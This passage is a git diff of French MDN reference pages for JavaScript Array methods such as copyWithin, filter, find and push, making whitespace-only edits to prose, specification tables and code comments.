{{jsxref("Symbol.unscopables")}} pour manipuler `uns ## Exemples -Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec `with`, `"keys"` serait désormais la méthode et non la variable. C'est là que le symbole natif `@@unscopables` `Array.prototype[@@unscopables]` intervient et empêche d'explorer ces méthodes avec `with`. +Le code qui suit fonctionne bien pour ES5 et les versions antérieures. En revanche, pour ECMAScript 2015 (ES6) et les versions ultérieures où la méthode {{jsxref("Array.prototype.keys()")}} existe, lorsqu'on utilise un environnement créé avec `with`, `"keys"` serait désormais la méthode et non la variable. C'est là que le symbole natif `@@unscopables` `Array.prototype[@@unscopables]` intervient et empêche d'explorer ces méthodes avec `with`. ```js var keys = []; @@ -47,7 +47,7 @@ Object.keys(Array.prototype[Symbol.unscopables]); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype-@@unscopables', 'Array.prototype[@@unscopables]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/copywithin/index.md b/files/fr/web/javascript/reference/global_objects/array/copywithin/index.md index 7bdac1b5b6..8b3ed669c0 100644 --- a/files/fr/web/javascript/reference/global_objects/array/copywithin/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/copywithin/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/copyWithin --- {{JSRef}} -La méthode **`copyWithin()`** effectue une copie superficielle (_shallow copy_) d'une partie d'un tableau sur ce même tableau et le renvoie, sans modifier sa taille. +La méthode **`copyWithin()`** effectue une copie superficielle (_shallow copy_) d'une partie d'un tableau sur ce même tableau et le renvoie, sans modifier sa taille. {{EmbedInteractiveExample("pages/js/array-copywithin.html")}} @@ -35,7 +35,7 @@ La méthode **`copyWithin()`** effectue une copie superficielle (_shallow copy_) - `début` {{optional_inline}} - : Indice de début de la séquence a copier. Si la valeur est négative, `début` sera compté à partir de la fin du tableau. Si `début` est omis, `copyWithin` copiera à partir du début du tableau (par défaut 0). - `fin` {{optional_inline}} - - : Indice de fin de la séquence a copier. `copyWithin` copie jusqu'à `fin` (non-inclusif). Si la valeur est négative, `end` sera compté à partir de la fin du tableau. Si `end` est omis, `copyWithin` copiera jusqu'à la fin du tableau (par défaut `arr.length`). + - : Indice de fin de la séquence a copier. `copyWithin` copie jusqu'à `fin` (non-inclusif). Si la valeur est négative, `end` sera compté à partir de la fin du tableau. Si `end` est omis, `copyWithin` copiera jusqu'à la fin du tableau (par défaut `arr.length`). ### Valeur de retour @@ -43,11 +43,11 @@ Le tableau modifié par la méthode. ## Description -La fonction `copyWithin()` fonctionne de la même façon que `memmove` en C/C++. C'est une méthode très performante pour décaler les données d'un {{jsxref("Array")}} ou d'un {{jsxref("TypedArray")}} (dans ce cas, on pourra utiliser {{jsxref("TypedArray/copyWithin", "TypedArray.copyWithin()")}}). La séquence est copiée et collée en une opération. La séquence collée aura les valeurs copiées même si les zones de copiage et de collage se chevauchent. +La fonction `copyWithin()` fonctionne de la même façon que `memmove` en C/C++. C'est une méthode très performante pour décaler les données d'un {{jsxref("Array")}} ou d'un {{jsxref("TypedArray")}} (dans ce cas, on pourra utiliser {{jsxref("TypedArray/copyWithin", "TypedArray.copyWithin()")}}). La séquence est copiée et collée en une opération. La séquence collée aura les valeurs copiées même si les zones de copiage et de collage se chevauchent. -La fonction `copyWithin()` est intentionnellement générique, il n'est pas nécessaire que `this` soit un objet {{jsxref("Array", "Array")}}. +La fonction `copyWithin()` est intentionnellement générique, il n'est pas nécessaire que `this` soit un objet {{jsxref("Array", "Array")}}. -De plus, `copyWithin()` est une méthode qui modifie l'objet courant. Elle ne modifie pas la longueur de `this`, mais change son contenu et créé de nouvelles propriétés si nécessaire. +De plus, `copyWithin()` est une méthode qui modifie l'objet courant. Elle ne modifie pas la longueur de `this`, mais change son contenu et créé de nouvelles propriétés si nécessaire. ## Exemples @@ -157,8 +157,8 @@ if (!Array.prototype.copyWithin) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ES2016', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}} | {{Spec2('ES2016')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES2016', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}} | {{Spec2('ES2016')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/entries/index.md b/files/fr/web/javascript/reference/global_objects/array/entries/index.md index 9bfa9f7ca7..f9f3ad9cd6 100644 --- a/files/fr/web/javascript/reference/global_objects/array/entries/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/entries/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/entries --- {{JSRef}} -La méthode **`entries()`** renvoie un nouvel objet de type **`Array Iterator`** qui contient le couple clef/valeur pour chaque éléments du tableau. +La méthode **`entries()`** renvoie un nouvel objet de type **`Array Iterator`** qui contient le couple clef/valeur pour chaque éléments du tableau. {{EmbedInteractiveExample("pages/js/array-entries.html")}} diff --git a/files/fr/web/javascript/reference/global_objects/array/every/index.md b/files/fr/web/javascript/reference/global_objects/array/every/index.md index 030fb9e115..d033d47630 100644 --- a/files/fr/web/javascript/reference/global_objects/array/every/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/every/index.md @@ -159,8 +159,8 @@ if (!Array.prototype.every) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.6. | -| {{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/fill/index.md b/files/fr/web/javascript/reference/global_objects/array/fill/index.md index 7b9928f46d..7de1315573 100644 --- a/files/fr/web/javascript/reference/global_objects/array/fill/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/fill/index.md @@ -121,7 +121,7 @@ if (!Array.prototype.fill) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/filter/index.md b/files/fr/web/javascript/reference/global_objects/array/filter/index.md index 33a4181ab3..5b4e5738cc 100644 --- a/files/fr/web/javascript/reference/global_objects/array/filter/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/filter/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/filter --- {{JSRef}} -La méthode **`filter()`** crée et retourne un nouveau tableau contenant tous les éléments du tableau d'origine qui remplissent une condition déterminée par la fonction `callback`. +La méthode **`filter()`** crée et retourne un nouveau tableau contenant tous les éléments du tableau d'origine qui remplissent une condition déterminée par la fonction `callback`. {{EmbedInteractiveExample("pages/js/array-filter.html")}} @@ -39,7 +39,7 @@ La méthode **`filter()`** crée et retourne un nouveau tableau contenant tous Cette fonction renvoie `true` — ou une valeur équivalente — si l'élément doit être conservé pour le tableau résultat et `false` dans le cas contraire. - `thisArg` {{optional_inline}} - - : Objet à utiliser en tant que `this` quand la fonction `callback` est exécutée. + - : Objet à utiliser en tant que `this` quand la fonction `callback` est exécutée. ### Valeur de retour @@ -47,7 +47,7 @@ Un nouveau tableau contenant les éléments qui respectent la condition du filtr ## Description -`filter()` appelle la fonction `callback` fournie pour chacun des éléments d'un tableau, et construit un nouveau tableau contenant tous les éléments pour lesquels l'appel de `callback` retourne `true` ou une valeur équivalente à `true` dans un contexte booléen. La fonction `callback` n'est utilisée que pour les éléments du tableau ayant une valeur assignée — les index supprimés ou pour lesquels il n'y a jamais eu de valeur ne sont pas pris en compte. Les éléments du tableau qui ne passent pas le test effectué par la fonction `callback` sont ignorés, ils ne sont pas inclus dans le nouveau tableau. +`filter()` appelle la fonction `callback` fournie pour chacun des éléments d'un tableau, et construit un nouveau tableau contenant tous les éléments pour lesquels l'appel de `callback` retourne `true` ou une valeur équivalente à `true` dans un contexte booléen. La fonction `callback` n'est utilisée que pour les éléments du tableau ayant une valeur assignée — les index supprimés ou pour lesquels il n'y a jamais eu de valeur ne sont pas pris en compte. Les éléments du tableau qui ne passent pas le test effectué par la fonction `callback` sont ignorés, ils ne sont pas inclus dans le nouveau tableau. La fonction `callback` est appelée avec trois arguments : @@ -55,7 +55,7 @@ La fonction `callback` est appelée avec trois arguments : 2. l'index de l'élément courant, 3. l'objet `Array` parcouru. -Si le paramètre `thisArg` est fourni, il sera utilisé comme valeur `this` lors de l'appel de la fonction `callback`. S'il n'est pas fourni, la valeur `undefined` sera utilisée à la place. La valeur de `this` qui est finalement utilisée par la fonction `callback` est déterminée selon [les règles usuelles pour déterminer la valeur `this` au sein d'une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). +Si le paramètre `thisArg` est fourni, il sera utilisé comme valeur `this` lors de l'appel de la fonction `callback`. S'il n'est pas fourni, la valeur `undefined` sera utilisée à la place. La valeur de `this` qui est finalement utilisée par la fonction `callback` est déterminée selon [les règles usuelles pour déterminer la valeur `this` au sein d'une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). Noter que `filter()` ne modifie pas le tableau d'origine. @@ -95,7 +95,7 @@ var arr = [ var elementsInvalides = 0; function filtrerParID(obj) { - // Si c'est un nombre + // Si c'est un nombre if (obj.id !== undefined && typeof(obj.id) === 'number' && !isNaN(obj.id)) { return true; } else { @@ -139,7 +139,7 @@ L'exemple suivant utilise [les fonctions fléchées](/fr/docs/Web/JavaScript/Ref const fruits = ['pomme', 'banane', 'raisin', 'mangue']; const filtreTexte = (arr, requete) => { - return arr.filter(el => el.toLowerCase().indexOf(requete.toLowerCase()) !== -1); + return arr.filter(el => el.toLowerCase().indexOf(requete.toLowerCase()) !== -1); } console.log(filtreTexte(fruits, 'an')); // ['banane', 'mangue']; @@ -192,8 +192,8 @@ if (!Array.prototype.filter){ | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.6. | -| {{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}} | {{Spec2('ES2015')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}} | {{Spec2('ES2015')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/find/index.md b/files/fr/web/javascript/reference/global_objects/array/find/index.md index c66c0ac9db..ebefb4e204 100644 --- a/files/fr/web/javascript/reference/global_objects/array/find/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/find/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/find --- {{JSRef}} -La méthode **`find()`** renvoie la **valeur** du **premier élément trouvé** dans le tableau qui respecte la condition donnée par la fonction de test passée en argument. Sinon, la valeur {{jsxref("undefined")}} est renvoyée. +La méthode **`find()`** renvoie la **valeur** du **premier élément trouvé** dans le tableau qui respecte la condition donnée par la fonction de test passée en argument. Sinon, la valeur {{jsxref("undefined")}} est renvoyée. {{EmbedInteractiveExample("pages/js/array-find.html")}} @@ -28,7 +28,7 @@ Voir aussi la méthode {{jsxref("Array.findIndex", "findIndex()")}} qui renvoie - `callback` - - : Fonction à exécuter sur chaque valeur du tableau, elle prend 3 arguments : + - : Fonction à exécuter sur chaque valeur du tableau, elle prend 3 arguments : - `element` - : L'élément actuellement traité dans le tableau. @@ -48,7 +48,7 @@ La valeur du premier élément du tableau qui réussit le test, sinon {{jsxref(" La méthode `find` exécute la fonction `callback` une fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle retourne une valeur vraie (qui peut être convertie en `true`). Si un élément est trouvé, `find` retourne immédiatement la valeur de l'élément. Autrement, `find` retourne `undefined`. La méthode `callback` est seulement appelée pour les index du tableau pour lesquels on dispose d'une valeur. Elle n'est pas appelée pour les index supprimés ou pour ceux qui n'ont pas de valeur. -La méthode `callback` est appelée avec trois arguments : la valeur de l'élément, l'index de l'élément, et l'objet correspondant au tableau traversé. +La méthode `callback` est appelée avec trois arguments : la valeur de l'élément, l'index de l'élément, et l'objet correspondant au tableau traversé. Si le paramètre `thisArg` est fourni à `find`, il sera utilisé comme le `this` pour chaque exécution de la fonction `callback`. S'il n'est pas fourni, alors {{jsxref("undefined")}} sera utilisé. diff --git a/files/fr/web/javascript/reference/global_objects/array/findindex/index.md b/files/fr/web/javascript/reference/global_objects/array/findindex/index.md index 5a4a20328c..5a3bf653bc 100644 --- a/files/fr/web/javascript/reference/global_objects/array/findindex/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/findindex/index.md @@ -149,7 +149,7 @@ S'il est vraiment nécessaire de prendre en charge les moteurs JavaScript qui ne | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/flat/index.md b/files/fr/web/javascript/reference/global_objects/array/flat/index.md index e9ee2df63b..3499e1cebc 100644 --- a/files/fr/web/javascript/reference/global_objects/array/flat/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/flat/index.md @@ -72,7 +72,7 @@ arr.reduce((acc, val) => acc.concat(val), []); const flat = arr => [].concat(...arr); ``` -### `reduce` + `concat` + `isArray` + récursivité +### `reduce` + `concat` + `isArray` + récursivité ```js var arr = [1, 2, [3, 4, [5, 6]]]; diff --git a/files/fr/web/javascript/reference/global_objects/array/indexof/index.md b/files/fr/web/javascript/reference/global_objects/array/indexof/index.md index 14d8d2e1f4..fd2cbce00b 100644 --- a/files/fr/web/javascript/reference/global_objects/array/indexof/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/indexof/index.md @@ -172,8 +172,8 @@ if (!Array.prototype.indexOf) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.6. | -| {{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/isarray/index.md b/files/fr/web/javascript/reference/global_objects/array/isarray/index.md index c4b10b3082..425e280eb0 100644 --- a/files/fr/web/javascript/reference/global_objects/array/isarray/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/isarray/index.md @@ -83,8 +83,8 @@ if(!Array.isArray) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5. | -| {{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/join/index.md b/files/fr/web/javascript/reference/global_objects/array/join/index.md index 860e358953..fe545d6368 100644 --- a/files/fr/web/javascript/reference/global_objects/array/join/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/join/index.md @@ -65,9 +65,9 @@ f(1, 'a', true); // '1,a,true' | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/keys/index.md b/files/fr/web/javascript/reference/global_objects/array/keys/index.md index 51483bec61..84f07d3c14 100644 --- a/files/fr/web/javascript/reference/global_objects/array/keys/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/keys/index.md @@ -55,7 +55,7 @@ console.log(clésDenses); // [0, 1, 2] | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/length/index.md b/files/fr/web/javascript/reference/global_objects/array/length/index.md index caa912f99a..e3ec3eb017 100644 --- a/files/fr/web/javascript/reference/global_objects/array/length/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/length/index.md @@ -31,7 +31,7 @@ tableauB.length = Math.pow(2,32)-1; // On déclare une longueur inférieure à 2 console.log(tableauB.length); // 4294967295 ``` -Vous pouvez modifier la propriété `length` d'un tableau à loisir pour le tronquer. Quand vous étendez un tableau en modifiant la valeur de sa propriété `length`, le nombre d'éléments réellement présents dans ce tableau n'augmente pas : par exemple, si vous affectez la valeur 3 à la propriété `length` d'un tableau alors qu'elle vaut 2, le tableau contiendra toujours seulement 2 éléments. La troisième « case » ne sera pas itérable. De ce fait, la propriété `length` d'un tableau ne renseigne en rien sur le nombre de valeurs définies dans le tableau. Voir aussi [la relation entre longueur et propriétés numériques](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array#Relation_entre_length_et_les_propri.C3.A9t.C3.A9s_num.C3.A9riques). +Vous pouvez modifier la propriété `length` d'un tableau à loisir pour le tronquer. Quand vous étendez un tableau en modifiant la valeur de sa propriété `length`, le nombre d'éléments réellement présents dans ce tableau n'augmente pas : par exemple, si vous affectez la valeur 3 à la propriété `length` d'un tableau alors qu'elle vaut 2, le tableau contiendra toujours seulement 2 éléments. La troisième « case » ne sera pas itérable. De ce fait, la propriété `length` d'un tableau ne renseigne en rien sur le nombre de valeurs définies dans le tableau. Voir aussi [la relation entre longueur et propriétés numériques](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array#Relation_entre_length_et_les_propri.C3.A9t.C3.A9s_num.C3.A9riques). ```js const arr = [1, 2, 3]; diff --git a/files/fr/web/javascript/reference/global_objects/array/map/index.md b/files/fr/web/javascript/reference/global_objects/array/map/index.md index b5a56e9db7..b43d8a8022 100644 --- a/files/fr/web/javascript/reference/global_objects/array/map/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/map/index.md @@ -48,7 +48,7 @@ Lorsqu'on utilise `map`, la fonction `callback` fournie en argument est exécut `callback` est appelée avec trois arguments : la valeur de l'élément du tableau, l'index de cet élément et l'objet {{jsxref("Array")}} qui est parcouru. -> **Attention :** `map()` construit un nouveau tableau. Si on utilise cette méthode sans utiliser le résultat, mieux vaudra utiliser [`forEach`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach) ou [`for...of`](/fr/docs/Web/JavaScript/Reference/Instructions/for...of). Pour mieux décider si `map()`est adéquat, regardez si vous utilisez la valeur de retour et/ou si vous renvoyez une valeur avec la fonction `callback` : si ce n'est pas le cas, il ne faut pas utiliser `map()`. +> **Attention :** `map()` construit un nouveau tableau. Si on utilise cette méthode sans utiliser le résultat, mieux vaudra utiliser [`forEach`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array/forEach) ou [`for...of`](/fr/docs/Web/JavaScript/Reference/Instructions/for...of). Pour mieux décider si `map()`est adéquat, regardez si vous utilisez la valeur de retour et/ou si vous renvoyez une valeur avec la fonction `callback` : si ce n'est pas le cas, il ne faut pas utiliser `map()`. Si le paramètre `thisArg` est utilisé, il sera utilisé en tant que `this` par la fonction `callback` lorsqu'elle sera appelée. S'il n'est pas utilisé, ce sera la valeur {{jsxref("undefined")}} qui sera utilisée pour définir `this`. La valeur `this` finalement prise en compte par la fonction `callback` est définie [selon les règles usuelles qui déterminent la valeur `this` observée par une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). diff --git a/files/fr/web/javascript/reference/global_objects/array/of/index.md b/files/fr/web/javascript/reference/global_objects/array/of/index.md index cbc2b0c156..6efae79cae 100644 --- a/files/fr/web/javascript/reference/global_objects/array/of/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/of/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/of La methode **`Array.of()`** permet de créer une nouvelle instance d'objet `Array` à partir d'un nombre variable d'arguments, quels que soient leur nombre ou leur type. -La différence entre **`Array.of()`** et le constructeur **`Array`** se situe dans la gestion de d'arguments entiers : **`Array.of(7)`** crée un tableau avec un seul élément, 7, tandis que **`Array(7)`** produit un tableau avec 7 éléments vides (à ne pas confondre avec des éléments qui auraient explicitement la valeur [`undefined`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/undefined)). +La différence entre **`Array.of()`** et le constructeur **`Array`** se situe dans la gestion de d'arguments entiers : **`Array.of(7)`** crée un tableau avec un seul élément, 7, tandis que **`Array(7)`** produit un tableau avec 7 éléments vides (à ne pas confondre avec des éléments qui auraient explicitement la valeur [`undefined`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/undefined)). ```js Array.of(7); // [7] diff --git a/files/fr/web/javascript/reference/global_objects/array/pop/index.md b/files/fr/web/javascript/reference/global_objects/array/pop/index.md index 7b9862f6fb..b81de016e6 100644 --- a/files/fr/web/javascript/reference/global_objects/array/pop/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/pop/index.md @@ -66,9 +66,9 @@ console.log(popped); // 'sturgeon' | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. | -| {{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/push/index.md b/files/fr/web/javascript/reference/global_objects/array/push/index.md index 0472582660..8fcbf9bd80 100644 --- a/files/fr/web/javascript/reference/global_objects/array/push/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/push/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/push --- {{JSRef}} -La méthode **`push()`** ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle taille du tableau. +La méthode **`push()`** ajoute un ou plusieurs éléments à la fin d'un tableau et retourne la nouvelle taille du tableau. {{EmbedInteractiveExample("pages/js/array-push.html")}} @@ -31,11 +31,11 @@ La nouvelle valeur de la propriété {{jsxref("Array.length", "length")}} de l'o ## Description -La méthode `push` permet d'ajouter des valeurs à un tableau. +La méthode `push` permet d'ajouter des valeurs à un tableau. `push` est une méthode générique. Cette méthode peut ainsi être utilisée avec les méthodes {{jsxref("Function.call()")}} ou {{jsxref("Function.apply()")}} sur des objets similaires aux tableaux. -La méthode `push` se base sur la propriété `length` pour déterminer à partir de quel index les valeurs données doivent être insérées. Si la propriété `length` ne peut pas être convertie en nombre, l'index utilisé est 0. Si la propriété `length` n'est pas définie, elle est alors créée. +La méthode `push` se base sur la propriété `length` pour déterminer à partir de quel index les valeurs données doivent être insérées. Si la propriété `length` ne peut pas être convertie en nombre, l'index utilisé est 0. Si la propriété `length` n'est pas définie, elle est alors créée. Bien que `push` soit une méthode générique, elle ne peut pas être utilisée sur les chaînes de caractères ou sur l'objet `arguments` car ils sont immuables. @@ -43,7 +43,7 @@ Bien que `push` soit une méthode générique, elle ne peut pas être utilisée ### Ajouter des éléments à un tableau -Le code suivant crée un tableau `sports` contenant à sa création deux éléments, auxquels sont ajoutés deux nouveaux éléments. La variable `total` contient la nouvelle taille du tableau. +Le code suivant crée un tableau `sports` contenant à sa création deux éléments, auxquels sont ajoutés deux nouveaux éléments. La variable `total` contient la nouvelle taille du tableau. ```js var sports = ["plongée", "baseball"]; diff --git a/files/fr/web/javascript/reference/global_objects/array/reduceright/index.md b/files/fr/web/javascript/reference/global_objects/array/reduceright/index.md index 7c9ea377a9..fbf47eb2ac 100644 --- a/files/fr/web/javascript/reference/global_objects/array/reduceright/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/reduceright/index.md @@ -47,13 +47,13 @@ La valeur obtenue grâce à la fonction de réduction. ## Description -`reduceRight` exécute la fonction `callback` une fois pour chaque élément présent dans le tableau, les éléments vides sont ignorés. La fonction `callback` utilise quatre arguments : la valeur initiale (ou la valeur retournée par le précédent appel de la fonction `callback`), la valeur de l'élément courant, l'index de l'élément courant, et le tableau qui est parcouru. +`reduceRight` exécute la fonction `callback` une fois pour chaque élément présent dans le tableau, les éléments vides sont ignorés. La fonction `callback` utilise quatre arguments : la valeur initiale (ou la valeur retournée par le précédent appel de la fonction `callback`), la valeur de l'élément courant, l'index de l'élément courant, et le tableau qui est parcouru. L'usage de `reduceRight` avec définition d'un `callback` devrait ressembler à ceci : ```js array.reduceRight(function(accumulator, valeurCourante, index, array) { - // ... + // ... }); ``` diff --git a/files/fr/web/javascript/reference/global_objects/array/reverse/index.md b/files/fr/web/javascript/reference/global_objects/array/reverse/index.md index 034a9a73e9..cf1d7a9630 